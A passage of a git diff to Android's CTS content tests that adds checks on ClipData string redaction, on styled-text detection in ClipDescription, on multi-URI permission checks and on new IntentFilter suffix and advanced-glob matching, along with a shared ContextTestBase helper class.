+        clip.addItem(new ClipData.Item("secret-three"));
+        String clipStr = clip.toString();
+        Log.i(LOG_TAG, clipStr);
+        assertThat(clipStr).doesNotContain("secret");
+    }
+
+    @Test
+    public void testToString_complexItem() {
+        ClipData.Item item = new ClipData.Item(
+                "secret-text",
+                "secret-html",
+                mock(Intent.class),
+                Uri.parse("content://secret"));
+        String[] mimeTypes = {
+                ClipDescription.MIMETYPE_TEXT_PLAIN,
+                ClipDescription.MIMETYPE_TEXT_HTML,
+                ClipDescription.MIMETYPE_TEXT_INTENT,
+                ClipDescription.MIMETYPE_TEXT_URILIST
+        };
+        ClipData clip = new ClipData("secret-label", mimeTypes, item);
+        String clipStr = clip.toString();
+        Log.i(LOG_TAG, clipStr);
+        assertThat(clipStr).doesNotContain("secret");
+    }
+}
diff --git a/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java b/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java
index 3d53e2d..fa4eea0 100644
--- a/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java
+++ b/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java
@@ -16,16 +16,22 @@
 
 package android.content.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
 import android.content.ClipData;
+import android.content.ClipDescription;
 import android.content.ClipboardManager;
 import android.content.Context;
 import android.content.Intent;
+import android.net.Uri;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.Until;
+import android.text.SpannableString;
+import android.text.style.UnderlineSpan;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
@@ -76,6 +82,57 @@
         }
     }
 
+    @Test
+    public void testIsStyledText() {
+        ClipDescription clipDescription = new ClipDescription(
+                "label", new String[] { ClipDescription.MIMETYPE_TEXT_PLAIN });
+
+        // False as clip description is not attached to anything.
+        assertThat(clipDescription.isStyledText()).isFalse();
+
+        SpannableString spannable = new SpannableString("Hello this is some text");
+        spannable.setSpan(new UnderlineSpan(), 6, 10, 0);
+        ClipData clipData = new ClipData(clipDescription, new ClipData.Item(spannable));
+
+        assertThat(clipDescription.isStyledText()).isTrue();
+
+        ClipboardManager clipboardManager = (ClipboardManager)
+                InstrumentationRegistry.getTargetContext().getSystemService(
+                        Context.CLIPBOARD_SERVICE);
+        clipboardManager.setPrimaryClip(clipData);
+        assertThat(clipboardManager.getPrimaryClipDescription().isStyledText()).isTrue();
+
+        ClipData clipData2 = ClipData.newPlainText("label", spannable);
+        assertThat(clipData2.getDescription().isStyledText()).isTrue();
+        clipboardManager.setPrimaryClip(clipData2);
+        assertThat(clipboardManager.getPrimaryClipDescription().isStyledText()).isTrue();
+    }
+
+    @Test
+    public void testNotStyledText() {
+        ClipDescription clipDescription = new ClipDescription(
+                "label", new String[] { ClipDescription.MIMETYPE_TEXT_PLAIN });
+        ClipData clipData = new ClipData(clipDescription, new ClipData.Item("Just text"));
+        assertThat(clipDescription.isStyledText()).isFalse();
+
+        ClipboardManager clipboardManager = (ClipboardManager)
+                InstrumentationRegistry.getTargetContext().getSystemService(
+                        Context.CLIPBOARD_SERVICE);
+        clipboardManager.setPrimaryClip(clipData);
+        assertThat(clipboardManager.getPrimaryClipDescription().isStyledText()).isFalse();
+
+        ClipData clipData2 = ClipData.newPlainText("label", "Just some text");
+        assertThat(clipData2.getDescription().isStyledText()).isFalse();
+        clipboardManager.setPrimaryClip(clipData2);
+        assertThat(clipboardManager.getPrimaryClipDescription().isStyledText()).isFalse();
+
+        // Test that a URI is not considered styled text.
+        ClipData clipDataUri = ClipData.newRawUri("label", Uri.parse("content://test"));
+        assertThat(clipDataUri.getDescription().isStyledText()).isFalse();
+        clipboardManager.setPrimaryClip(clipDataUri);
+        assertThat(clipboardManager.getPrimaryClipDescription().isStyledText()).isFalse();
+    }
+
     /**
      * Convert a System.currentTimeMillis() value to a time of day value like
      * that printed in logs. MM-DD-YY HH:MM:SS.MMM
diff --git a/tests/tests/content/src/android/content/cts/ContextAccessTest.java b/tests/tests/content/src/android/content/cts/ContextAccessTest.java
deleted file mode 100644
index 52f2812..0000000
--- a/tests/tests/content/src/android/content/cts/ContextAccessTest.java
+++ /dev/null
@@ -1,182 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.content.cts;
-
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
-import static android.view.Display.DEFAULT_DISPLAY;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-
-import android.app.Activity;
-import android.app.Service;
-import android.content.Context;
-import android.content.ContextWrapper;
-import android.content.Intent;
-import android.content.res.Configuration;
-import android.graphics.PixelFormat;
-import android.hardware.display.DisplayManager;
-import android.hardware.display.VirtualDisplay;
-import android.media.ImageReader;
-import android.os.Bundle;
-import android.os.IBinder;
-import android.platform.test.annotations.Presubmit;
-import android.view.Display;
-
-import androidx.test.core.app.ApplicationProvider;
-import androidx.test.filters.SmallTest;
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.rule.ServiceTestRule;
-
-import org.junit.Rule;
-import org.junit.Test;
-
-import java.util.concurrent.TimeoutException;
-
-/**
- * Test for {@link Context#getDisplay()}.
- * <p>Test context type listed below:</p>
- * <ul>
- *     <li>{@link android.app.Application} - throw exception</li>
- *     <li>{@link Service} - throw exception</li>
- *     <li>{@link Activity} - get {@link Display} entity</li>
- *     <li>Context via {@link Context#createWindowContext(int, Bundle)}
- *     - get {@link Display} entity</li>
- *     <li>Context via {@link Context#createDisplayContext(Display)}
- *     - get {@link Display} entity</li>
- *     <li>Context derived from display context
- *     - get {@link Display} entity</li>
- *     <li>{@link ContextWrapper} with base display-associated {@link Context}
- *     - get {@link Display} entity</li>
- *     <li>{@link ContextWrapper} with base non-display-associated {@link Context}
- *     - get {@link Display} entity</li>
- * </ul>
- *
- * <p>Build/Install/Run:
- *     atest CtsContentTestCases:ContextAccessTest
- */
-@Presubmit
-@SmallTest
-public class ContextAccessTest {
-    private Context mContext = ApplicationProvider.getApplicationContext();
-
-    @Rule
-    public final ActivityTestRule<MockActivity> mActivityRule =
-            new ActivityTestRule<>(MockActivity.class);
-
-    @Test(expected = UnsupportedOperationException.class)
-    public void testGetDisplayFromApplication() {
-        mContext.getDisplay();
-    }
-
-    @Test(expected = UnsupportedOperationException.class)
-    public void testGetDisplayFromService() throws TimeoutException {
-        getTestService().getDisplay();
-    }
-
-    @Test
-    public void testGetDisplayFromActivity() throws Throwable {
-        final Display d = getTestActivity().getDisplay();
-
-        assertNotNull("Display must be accessible from visual components", d);
-    }
-
-    @Test
-    public void testGetDisplayFromDisplayContext() {
-        final Display display = mContext.getSystemService(DisplayManager.class)
-                .getDisplay(DEFAULT_DISPLAY);
-        Context displayContext = mContext.createDisplayContext(display);
-
-        assertEquals(display, displayContext.getDisplay());
-    }
-
-    @Test
-    public void testGetDisplayFromDisplayContextDerivedContextOnPrimaryDisplay() {
-        verifyGetDisplayFromDisplayContextDerivedContext(false /* onSecondaryDisplay */);
-    }
-
-    @Test
-    public void testGetDisplayFromDisplayContextDerivedContextOnSecondaryDisplay() {
-        verifyGetDisplayFromDisplayContextDerivedContext(true /* onSecondaryDisplay */);
-    }
-
-    private void verifyGetDisplayFromDisplayContextDerivedContext(
-            boolean onSecondaryDisplay) {
-        final DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-        final Display display;
-        if (onSecondaryDisplay) {
-            display = getSecondaryDisplay(displayManager);
-        } else {
-            display = displayManager.getDisplay(DEFAULT_DISPLAY);
-        }
-        final Context context = mContext.createDisplayContext(display)
-                .createConfigurationContext(new Configuration());
-        assertEquals(display, context.getDisplay());
-    }
-
-    private static Display getSecondaryDisplay(DisplayManager displayManager) {
-        final int width = 800;
-        final int height = 480;
-        final int density = 160;
-        ImageReader reader = ImageReader.newInstance(width, height, PixelFormat.RGBA_8888,
-                2 /* maxImages */);
-        VirtualDisplay virtualDisplay = displayManager.createVirtualDisplay(
-                ContextTest.class.getName(), width, height, density, reader.getSurface(),
-                VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY);
-        return virtualDisplay.getDisplay();
-    }
-
-    @Test
-    public void testGetDisplayFromWindowContext() {
-        final Display display = mContext.getSystemService(DisplayManager.class)
-                .getDisplay(DEFAULT_DISPLAY);
-        Context windowContext =  mContext.createDisplayContext(display)
-                .createWindowContext(TYPE_APPLICATION_OVERLAY, null /*  options */);
-        assertEquals(display, windowContext.getDisplay());
-    }
-
-    @Test
-    public void testGetDisplayFromVisualWrapper() throws Throwable {
-        final Display d = new ContextWrapper(getTestActivity()).getDisplay();
-
-        assertNotNull("Display must be accessible from visual components", d);
-    }
-
-    @Test(expected = UnsupportedOperationException.class)
-    public void testGetDisplayFromNonVisualWrapper() {
-        ContextWrapper wrapper = new ContextWrapper(mContext);
-        wrapper.getDisplay();
-    }
-
-    private Activity getTestActivity() throws Throwable {
-        MockActivity[] activity = new MockActivity[1];
-        mActivityRule.runOnUiThread(() -> {
-            activity[0] = mActivityRule.getActivity();
-        });
-        return activity[0];
-    }
-
-    private Service getTestService() throws TimeoutException {
-        final Intent intent = new Intent(mContext.getApplicationContext(), MockService.class);
-        final ServiceTestRule serviceRule = new ServiceTestRule();
-        IBinder serviceToken;
-        serviceToken = serviceRule.bindService(intent);
-        return ((MockService.MockBinder) serviceToken).getService();
-    }
-}
diff --git a/tests/tests/content/src/android/content/cts/ContextTest.java b/tests/tests/content/src/android/content/cts/ContextTest.java
index f6f7cf5..95449eb 100644
--- a/tests/tests/content/src/android/content/cts/ContextTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextTest.java
@@ -16,6 +16,9 @@
 
 package android.content.cts;
 
+import static android.content.pm.PackageManager.PERMISSION_DENIED;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import android.app.Activity;
@@ -1131,6 +1134,21 @@
         mContext.unregisterReceiver(stickyReceiver);
     }
 
+    public void testCheckCallingOrSelfUriPermissions() {
+        List<Uri> uris = new ArrayList<>();
+        Uri uri1 = Uri.parse("content://ctstest1");
+        uris.add(uri1);
+        Uri uri2 = Uri.parse("content://ctstest2");
+        uris.add(uri2);
+
+        int[] retValue = mContext.checkCallingOrSelfUriPermissions(uris,
+                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        assertEquals(retValue.length, 2);
+        // This package does not have access to the given URIs
+        assertEquals(PERMISSION_DENIED, retValue[0]);
+        assertEquals(PERMISSION_DENIED, retValue[1]);
+    }
+
     public void testCheckCallingOrSelfUriPermission() {
         Uri uri = Uri.parse("content://ctstest");
 
@@ -1328,6 +1346,28 @@
         }.run();
     }
 
+    public void testCheckUriPermissions() {
+        List<Uri> uris = new ArrayList<>();
+        Uri uri1 = Uri.parse("content://ctstest1");
+        uris.add(uri1);
+        Uri uri2 = Uri.parse("content://ctstest2");
+        uris.add(uri2);
+
+        // Root has access to all URIs
+        int[] retValue = mContext.checkUriPermissions(uris, Binder.getCallingPid(), 0,
+                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        assertEquals(retValue.length, 2);
+        assertEquals(PERMISSION_GRANTED, retValue[0]);
+        assertEquals(PERMISSION_GRANTED, retValue[1]);
+
+        retValue = mContext.checkUriPermissions(uris, Binder.getCallingPid(),
+                Binder.getCallingUid(), Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        assertEquals(retValue.length, 2);
+        // This package does not have access to the given URIs
+        assertEquals(PERMISSION_DENIED, retValue[0]);
+        assertEquals(PERMISSION_DENIED, retValue[1]);
+    }
+
     public void testCheckUriPermission1() {
         Uri uri = Uri.parse("content://ctstest");
 
@@ -1354,6 +1394,21 @@
         assertEquals(PackageManager.PERMISSION_DENIED, retValue);
     }
 
+    public void testCheckCallingUriPermissions() {
+        List<Uri> uris = new ArrayList<>();
+        Uri uri1 = Uri.parse("content://ctstest1");
+        uris.add(uri1);
+        Uri uri2 = Uri.parse("content://ctstest2");
+        uris.add(uri2);
+
+        int[] retValue = mContext.checkCallingUriPermissions(uris,
+                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        assertEquals(retValue.length, 2);
+        // This package does not have access to the given URIs
+        assertEquals(PERMISSION_DENIED, retValue[0]);
+        assertEquals(PERMISSION_DENIED, retValue[1]);
+    }
+
     public void testCheckCallingUriPermission() {
         Uri uri = Uri.parse("content://ctstest");
 
diff --git a/tests/tests/content/src/android/content/cts/ContextTestBase.java b/tests/tests/content/src/android/content/cts/ContextTestBase.java
new file mode 100644
index 0000000..32ac006
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/ContextTestBase.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import android.app.Activity;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.ImageReader;
+import android.os.IBinder;
+import android.view.Display;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.rule.ServiceTestRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Used for providing various kinds of contexts. This test base often used for verifying APIs
+ * which have different behaviors on different kinds of {@link Context}s
+ */
+public class ContextTestBase {
+    public Context mApplicationContext = ApplicationProvider.getApplicationContext();
+    private Display mDefaultDisplay;
+    private Display mSecondaryDisplay;
+
+    @Rule
+    public final ActivityTestRule<MockActivity> mActivityRule =
+            new ActivityTestRule<>(MockActivity.class);
+
+    @Before
+    public final void setUp() {
+        final DisplayManager dm = mApplicationContext.getSystemService(DisplayManager.class);
+        mDefaultDisplay = dm.getDisplay(DEFAULT_DISPLAY);
+        mSecondaryDisplay = createSecondaryDisplay();
+    }
+
+    private Display createSecondaryDisplay() {
+        final DisplayManager displayManager = mApplicationContext
+                .getSystemService(DisplayManager.class);
+        final int width = 800;
+        final int height = 480;
+        final int density = 160;
+        ImageReader reader = ImageReader.newInstance(width, height, PixelFormat.RGBA_8888,
+                2 /* maxImages */);
+        VirtualDisplay virtualDisplay = displayManager.createVirtualDisplay(
+                ContextTest.class.getName(), width, height, density, reader.getSurface(),
+                VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY);
+        return virtualDisplay.getDisplay();
+    }
+
+    public Display getDefaultDisplay() {
+        return mDefaultDisplay;
+    }
+
+    public Display getSecondaryDisplay() {
+        return mSecondaryDisplay;
+    }
+
+    public Context createWindowContext() {
+        return mApplicationContext.createDisplayContext(mDefaultDisplay).createWindowContext(
+                TYPE_APPLICATION_OVERLAY, null /* options */);
+    }
+
+    public Activity getTestActivity() throws Throwable {
+        MockActivity[] activity = new MockActivity[1];
+        mActivityRule.runOnUiThread(() -> activity[0] = mActivityRule.getActivity());
+        return activity[0];
+    }
+
+    public Service createTestService() throws TimeoutException {
+        final Intent intent = new Intent(mApplicationContext, MockService.class);
+        final ServiceTestRule serviceRule = new ServiceTestRule();
+        IBinder serviceToken;
+        serviceToken = serviceRule.bindService(intent);
+        return ((MockService.MockBinder) serviceToken).getService();
+    }
+}
diff --git a/tests/tests/content/src/android/content/cts/IntentFilterTest.java b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
index 9888891..663cbfa 100644
--- a/tests/tests/content/src/android/content/cts/IntentFilterTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
@@ -21,9 +21,11 @@
 import static android.content.IntentFilter.MATCH_CATEGORY_SCHEME_SPECIFIC_PART;
 import static android.content.IntentFilter.MATCH_CATEGORY_TYPE;
 import static android.content.IntentFilter.NO_MATCH_DATA;
+import static android.os.PatternMatcher.PATTERN_ADVANCED_GLOB;
 import static android.os.PatternMatcher.PATTERN_LITERAL;
 import static android.os.PatternMatcher.PATTERN_PREFIX;
 import static android.os.PatternMatcher.PATTERN_SIMPLE_GLOB;
+import static android.os.PatternMatcher.PATTERN_SUFFIX;
 
 import android.content.ComponentName;
 import android.content.ContentResolver;
@@ -397,25 +399,38 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ssp"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp12"));
         filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"ssp.*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
+                null, null, null, null, new String[]{"p1", "sp", ".file"},
+                new int[]{PATTERN_SUFFIX, PATTERN_SUFFIX, PATTERN_SUFFIX});
         checkMatches(filter,
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:2ssp"),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:something.file"),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
+                MatchCondition.data(NO_MATCH_DATA, "scheme:ssp12"));
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "ssp.*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "ssp.*",
+                                PATTERN_SIMPLE_GLOB)},
+                MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ss"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{".*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", ".*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", ".*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a1*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a1b"),
@@ -423,10 +438,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a1*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a1"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
@@ -434,10 +450,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1b"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a11"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a\\.*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a\\.*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a\\.*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -445,10 +462,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a[.1-2]*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -456,10 +474,11 @@
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -467,10 +486,11 @@
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a2b"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.\\*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.*b"),
@@ -478,10 +498,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.\\*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.*"),
@@ -489,6 +510,12 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1b"));
     }
 
+    private Match filterForSchemeAndSchemeSpecificPart(String scheme, String ssp, int matchType) {
+        return new Match(null, null, null, new String[]{scheme},
+                null, null, null, null, new String[]{ssp},
+                new int[]{matchType});
+    }
+
     public void testSchemeSpecificPartsWithWildCards() throws Exception {
         IntentFilter filter = new Match(null, null, null, new String[]{"scheme"},
                 null, null, null, null, new String[]{"ssp1"},
@@ -1111,6 +1138,25 @@
         }
 
         mIntentFilter = new IntentFilter();
+        for (i = 0; i < 10; i++) {
+            mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_SUFFIX);
+        }
+        assertEquals(10, mIntentFilter.countDataPaths());
+        iter = mIntentFilter.pathsIterator();
+        i = 0;
+        while (iter.hasNext()) {
+            actual = iter.next();
+            assertEquals(DATA_PATH + i, actual.getPath());
+            assertEquals(PatternMatcher.PATTERN_SUFFIX, actual.getType());
+            PatternMatcher p = new PatternMatcher(DATA_PATH + i, PatternMatcher.PATTERN_SUFFIX);
+            assertEquals(p.getPath(), mIntentFilter.getDataPath(i).getPath());
+            assertEquals(p.getType(), mIntentFilter.getDataPath(i).getType());
+            assertTrue(mIntentFilter.hasDataPath(DATA_PATH + i));
+            assertTrue(mIntentFilter.hasDataPath("a" + DATA_PATH + i));
+            i++;
+        }
+
+        mIntentFilter = new IntentFilter();
         i = 0;
         for (i = 0; i < 10; i++) {
             mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_LITERAL);
@@ -1150,6 +1196,26 @@
             i++;
         }
 
+        mIntentFilter = new IntentFilter();
+        for (i = 0; i < 10; i++) {
+            mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_ADVANCED_GLOB);
+        }
+        assertEquals(10, mIntentFilter.countDataPaths());
+        iter = mIntentFilter.pathsIterator();
+        i = 0;
+        while (iter.hasNext()) {
+            actual = iter.next();
+            assertEquals(DATA_PATH + i, actual.getPath());
+            assertEquals(PatternMatcher.PATTERN_ADVANCED_GLOB, actual.getType());
+            PatternMatcher p = new PatternMatcher(DATA_PATH + i,
+                    PatternMatcher.PATTERN_ADVANCED_GLOB);
+            assertEquals(p.getPath(), mIntentFilter.getDataPath(i).getPath());
+            assertEquals(p.getType(), mIntentFilter.getDataPath(i).getType());
+            assertTrue(mIntentFilter.hasDataPath(DATA_PATH + i));
+            assertFalse(mIntentFilter.hasDataPath(DATA_PATH + i + 10));
+            i++;
+        }
+
         IntentFilter filter = new Match(null, null, null, new String[]{"scheme1"},
                 new String[]{"authority1"}, new String[]{null});
         checkMatches(filter,
@@ -1448,6 +1514,12 @@
         }
     }
 
+    private static void checkMatches(IntentFilter[] filters, MatchCondition... results) {
+        for (IntentFilter filter : filters) {
+            checkMatches(filter, results);
+        }
+    }
+
     private static void checkMatches(IntentFilter filter, MatchCondition... results) {
